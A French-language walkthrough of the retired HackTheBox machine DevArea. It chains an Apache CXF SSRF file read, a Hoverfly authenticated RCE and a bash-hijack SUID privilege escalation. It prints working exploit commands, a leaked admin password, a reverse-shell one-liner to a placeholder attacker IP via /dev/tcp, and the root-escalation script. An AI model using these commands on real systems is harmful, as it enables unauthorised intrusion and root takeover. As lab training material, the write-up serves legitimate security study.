
HackTheBox DevArea walkthrough enchaînant CVE-2022-46364 Apache CXF SSRF, CVE-2025-54123 Hoverfly RCE, et le détournement de SUID bash pour l'escalade de privilèges root.
Plateforme : HackTheBox OS : Linux Statut : Retiré — walkthrough complet publié.
Walkthrough complet : l3dsec.com/walkthroughs/devarea-htb
nmap → 21 (FTP anon) + 80 + 8080 (Jetty) + 8888 (Hoverfly)
→ FTP anon → employee-service.jar (Apache CXF, pre-3.5.5)
→ CVE-2022-46364 SSRF → file:///etc/systemd/system/hoverfly.service
→ admin credentials in ExecStart
→ CVE-2025-54123 Hoverfly RCE → shell as dev_ryan → user flag
→ /usr/bin/bash world-writable + sudo syswatch.sh calls it
→ bash hijack → SUID rootbash → root flag
nmap -sC -sV -p- <TARGET_IP>
# 21/tcp open ftp vsftpd 3.0.5 (anonymous login)
# 8080/tcp open http Jetty 9.4.27
# 8888/tcp open http Hoverfly Dashboard
Le téléchargement FTP anonyme depuis pub/ fournit employee-service.jar — service SOAP Apache CXF, version embarquée antérieure à 3.5.5.
CXF avant 3.5.5 reflète les URLs href XOP:Include côté serveur — lecture arbitraire de fichiers via file://.
python3 CVE-2022-46364.py -t http://devarea.htb:8080/employeeservice -s file:///etc/systemd/system/hoverfly.service -d devarea.htb
# ExecStart: hoverfly -add -username admin -password O7IJ27MyyXiU
# User=dev_ryan
Hoverfly 1.11.3 — RCE authentifiée via injection de configuration middleware.
nc -lvnp 4444
./CVE-2025-54123.sh -t http://<TARGET_IP>:8888 -u admin -p O7IJ27MyyXiU -c "bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1"
Shell en tant que dev_ryan. Flag utilisateur dans /home/dev_ryan/user.txt.
sudo -l
# (root) NOPASSWD: /opt/syswatch/syswatch.sh
ls -la /usr/bin/bash
# -rwxrwxrwx (world-writable)
syswatch.sh appelle /usr/bin/bash en interne. Remplacez-le par un script déposant un SUID :
cp /usr/bin/bash /tmp/bash.bak
printf '#!/tmp/bash.bak\ncp /tmp/bash.bak /tmp/rootbash\nchmod 4755 /tmp/rootbash\n' > /usr/bin/bash
chmod +x /usr/bin/bash
sudo /opt/syswatch/syswatch.sh status
/tmp/rootbash -p
# euid=0(root)
Flag root dans /root/root.txt.
| Flag | Valeur |
|---|---|
| User | redacted |
| Root | redacted |
À des fins éducatives uniquement. Ne testez que les systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite.